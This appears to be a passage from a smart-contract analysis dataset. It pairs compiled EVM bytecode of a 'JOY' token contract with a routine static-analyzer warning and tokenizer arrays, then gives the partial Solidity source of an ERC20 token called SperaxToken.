019091908035906020019091905050610a68565b005b341561023f57600080fd5b610247610b6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561029457600080fd5b6102c9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b94565b005b34156102d657600080fd5b6102de610d1f565b604051808215151515815260200191505060405180910390f35b341561030357600080fd5b61030b610d52565b6040518082815260200191505060405180910390f35b341561032c57600080fd5b610380600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d5f565b005b341561038d57600080fd5b6103b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e0c565b005b34156103c657600080fd5b6103ce610ee6565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156104195780820151818401526020810190506103fe565b50505050905001848103835286818151815260200191508051906020019060200280838360005b8381101561045b578082015181840152602081019050610440565b50505050905001848103825285818151815260200191508051906020019060200280838360005b8381101561049d578082015181840152602081019050610482565b50505050905001965050505050505060405180910390f35b34156104c057600080fd5b6104ec600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611087565b005b34156104f957600080fd5b610501611162565b005b341561050e57600080fd5b61055e600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506111f5565b005b341561056b57600080fd5b610597600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112b8565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105da5780820151818401526020810190506105bf565b505050509050019250505060405180910390f35b34156105f957600080fd5b61060f60048080359060200190919050506113ee565b6040518082815260200191505060405180910390f35b341561063057600080fd5b61063861150c565b604051808215151515815260200191505060405180910390f35b341561065d57600080fd5b610673600480803590602001909190505061151f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c057600080fd5b6106ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061155c565b6040518082815260200191505060405180910390f35b341561070d57600080fd5b6107156115a5565b005b341561072257600080fd5b61079a600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061161d565b005b34156107a757600080fd5b6107af61172d565b005b34156107bc57600080fd5b6107c46117c0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108045780820151818401526020810190506107e9565b50505050905090810190601f1680156108315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561084a57600080fd5b61087f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611803565b005b341561088c57600080fd5b61089461189a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108e157600080fd5b6108f760048080359060200190919050506118c0565b005b341561090457600080fd5b61091a600480803590602001909190505061194d565b6040518082815260200191505060405180910390f35b341561093b57600080fd5b610951600480803590602001909190505061196a565b60405180806020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825286818151815260200191508051906020019080838360005b838110156109cf5780820151818401526020810190506109b4565b50505050905090810190601f1680156109fc5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b610a236004808035906020019091905050611a8d565b005b610a2d6122a3565b6040805190810160405280601081526020017f4a6f686e204f72696f6e20596f756e6700000000000000000000000000000000815250905090565b600160149054906101000a900460ff16151515610a8457600080fd5b600860009054906101000a900460ff161515610a9f57600080fd5b610aa93382611e0f565b1515610ab457600080fd5b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bf157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16318211151515610c1757600080fd5b8190506000811415610c3e573073ffffffffffffffffffffffffffffffffffffffff163190505b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cd9576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610cd457600080fd5b610d1a565b8273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610d1957600080fd5b5b505050565b6000600160149054906101000a900460ff16151515610d3d57600080fd5b600860009054906101000a900460ff16905090565b6000600680549050905090565b600160149054906101000a900460ff16151515610d7b57600080fd5b600860009054906101000a900460ff161515610d9657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610dd257600080fd5b610ddc8382611e0f565b1515610de757600080fd5b610df13382611e7b565b1515610dfc57600080fd5b610e07838383611ee7565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ea357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610eee6122b7565b610ef66122b7565b610efe6122cb565b6000610f086122b7565b610f106122b7565b610f186122cb565b6000610f22610d52565b945084604051805910610f325750595b9080825280602002602001820160405250935084604051805910610f535750595b9080825280602002602001820160405250925084604051805910610f745750595b90808252806020026020018201604052509150600090505b848110156110745760036000828152602001908152602001600020548482815181101515610fb657fe5b9060200190602002018181525050610fcd816113ee565b8382815181101515610fdb57fe5b90602001906020020181815250506002600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828281518110151561102b57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050610f8c565b8383839750975097505050505050909192565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110e257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561111e57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111bd57600080fd5b600160149054906101000a900460ff1615156111d857600080fd5b6000600160146101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061129d5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156112a857600080fd5b6112b581306007546120af565b50565b6112c06122b7565b60006112ca6122b7565b60008060006112d88761155c565b9450600085141561130a5760006040518059106112f25750595b908082528060200260200182016040525095506113e4565b846040518059106113185750595b90808252806020026020018201604052509350611333610d52565b925060009150600090505b828110156113e0578673ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156113d3578084838151811015156113bc57fe5b906020019060200201818152505081806001019250505b808060010191505061133e565b8395505b5050505050919050565b6000806113fa8361194d565b90506009548110156114345761142d605f61141f60c88461222190919063ffffffff16565b61225c90919063ffffffff16565b9150611506565b600a5481101561146c57611465606061145760878461222190919063ffffffff16565b61225c90919063ffffffff16565b9150611506565b600b548110156114a45761149d606161148f607d8461222190919063ffffffff16565b61225c90919063ffffffff16565b9150611506565b600c548110156114dc576114d560616114c760758461222190919063ffffffff16565b61225c90919063ffffffff16565b9150611506565b61150360626114f560738461222190919063ffffffff16565b61225c90919063ffffffff16565b91505b50919050565b600160149054906101000a900460ff1681565b60006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160057600080fd5b6001600860006101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116c55750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156116d057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561170c57600080fd5b600754811015151561171d57600080fd5b6117288383836120af565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178857600080fd5b600160149054906101000a900460ff161515156117a457600080fd5b60018060146101000a81548160ff021916908315150217905550565b6117c86122a3565b6040805190810160405280600381526020017f4a4f590000000000000000000000000000000000000000000000000000000000815250905090565b600160149054906101000a900460ff1615151561181f57600080fd5b600860009054906101000a900460ff16151561183a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561187657600080fd5b6118803382611e0f565b151561188b57600080fd5b611896338383611ee7565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160149054906101000a900460ff161515156118dc57600080fd5b600860009054906101000a900460ff1615156118f757600080fd5b6119013382611e7b565b151561190c57600080fd5b61194a6002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383611ee7565b50565b600060036000838152602001908152602001600020549050919050565b6119726122a3565b600080600060068581548110151561198657fe5b90600052602060002090016000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a285780601f106119fd57610100808354040283529160200191611a28565b820191906000526020600020905b815481529060010190602001808311611a0b57829003601f168201915b5050505050935060036000868152602001908152602001600020549250611a4e856113ee565b91506002600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690509193509193565b6000806000806000600160149054906101000a900460ff16151515611ab157600080fd5b611aba8661151f565b9450339350611ac88661194d565b9250600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515611b0657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611b4257600080fd5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515611b7d57600080fd5b611b8684612277565b151515611b9257600080fd5b600083111515611ba157600080fd5b823410151515611bb057600080fd5b611bbb858588611ee7565b611bc4866113ee565b60036000888152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16877fef3f7c55f619f7c9178e080691f6d9bc90a74668d32c107dea7c87da023c9a0f60068a815481101515611c3a57fe5b906000526020600020900160000187611c528c61194d565b6040518080602001848152602001838152602001828103825285818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015611ce75780601f10611cbc57610100808354040283529160200191611ce7565b820191906000526020600020905b815481529060010190602001808311611cca57829003601f168201915b505094505050505060405180910390a4611d0a833461228a90919063ffffffff16565b9150611d336064611d25600a8661222190919063ffffffff16565b61225c90919063ffffffff16565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515611dbd578473ffffffffffffffffffffffffffffffffffffffff166108fc611d97838661228a90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501515611dbc57600080fd5b5b6000821115611e07578373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515611e0657600080fd5b5b505050505050565b60008273ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff166005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151561204557600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055506005600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6120b76122df565b60006020604051908101604052808681525091506001600680548060010182816120e191906122f9565b916000526020600020900160008590919091506000820151816000019080519060200190612110929190612325565b5050500390508260036000838152602001908152602001600020819055507fd306967beeb39489cb6724748118d29c59bd0f0e17a5dd711b4f4d3dea3a1c478186858760405180858152602001806020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825285818151815260200191508051906020019080838360005b838110156121d15780820151818401526020810190506121b6565b50505050905090810190601f1680156121fe5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a161221a60008583611ee7565b5050505050565b60008060008414156122365760009150612255565b828402905082848281151561224757fe5b0414151561225157fe5b8091505b5092915050565b600080828481151561226a57fe5b0490508091505092915050565b600080823b905060008111915050919050565b600082821115151561229857fe5b818303905092915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b6020604051908101604052806122f36123a5565b81525090565b8154818355818115116123205781836000526020600020918201910161231f91906123b9565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061236657805160ff1916838001178555612394565b82800160010185558215612394579182015b82811115612393578251825591602001919060010190612378565b5b5090506123a191906123e8565b5090565b602060405190810160405280600081525090565b6123e591905b808211156123e157600080820160006123d8919061240d565b506001016123bf565b5090565b90565b61240a91905b808211156124065760008160009055506001016123ee565b5090565b90565b50805460018160011615610100020316600290046000825580601f106124335750612452565b601f01602090049060005260206000209081019061245191906123e8565b5b505600a165627a7a723058204850b130b0c9b696394f163b2b258082bf46c0d80841967bdba5480b36caa79b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 21486, 2509, 2546, 2475, 2278, 24434, 2549, 2546, 21057, 2487, 2063, 22025, 21486, 5243, 2575, 3207, 2575, 2581, 2497, 14526, 26187, 2278, 2549, 2546, 23499, 2050, 27009, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 4427, 2011, 1013, 1013, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 22260, 18994, 10431, 1013, 19888, 23212, 6916, 2229, 1011, 17284, 1013, 1038, 4135, 2497, 1013, 3040, 1013, 8311, 1013, 14433, 6305, 9623, 9363, 3372, 13153, 1012, 14017, 3206, 3229, 8663, 13181, 2140, 1063, 1013, 1013, 1013, 1030, 16475, 1996, 11596, 1997, 1996, 6115, 1006, 2030, 8311, 1007, 2008, 2064, 15389, 4506, 2306, 2169, 4395, 4769, 2270, 5766, 4215, 16200, 4757, 1025, 4769, 2270, 2522, 10441, 14141, 8303, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,083
0x9631483f28b7f5cbf7d435ab249be8f709215bc3
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view returns (address) { return msg.sender; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string public name; string public symbol; uint8 public decimals; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { require((allowance(_msgSender(), spender) == 0) || (amount == 0), "ERC20: change allowance use increaseAllowance or decreaseAllowance instead"); _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal whenPaused { _paused = false; emit Unpaused(_msgSender()); } } contract SperaxToken is ERC20, Pausable, Ownable { mapping(address => TimeLock) private _timelock; event BlockTransfer(address indexed account); event AllowTransfer(address indexed account); struct TimeLock { uint256 releaseTime; uint256 amount; } /** * @dev Initialize the contract give all tokens to the deployer */ constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _initialSupply) public { name = _name; symbol = _symbol; decimals = _decimals; _mint(_msgSender(), _initialSupply * (10 ** uint256(_decimals))); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "SperaxToken: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev View `account` locked information */ function timelockOf(address account) public view returns(uint256 releaseTime, uint256 amount) { TimeLock memory timelock = _timelock[account]; return (timelock.releaseTime, timelock.amount); } /** * @dev Transfer to the "recipient" some specified 'amount' that is locked until "releaseTime" * @notice only Owner call */ function 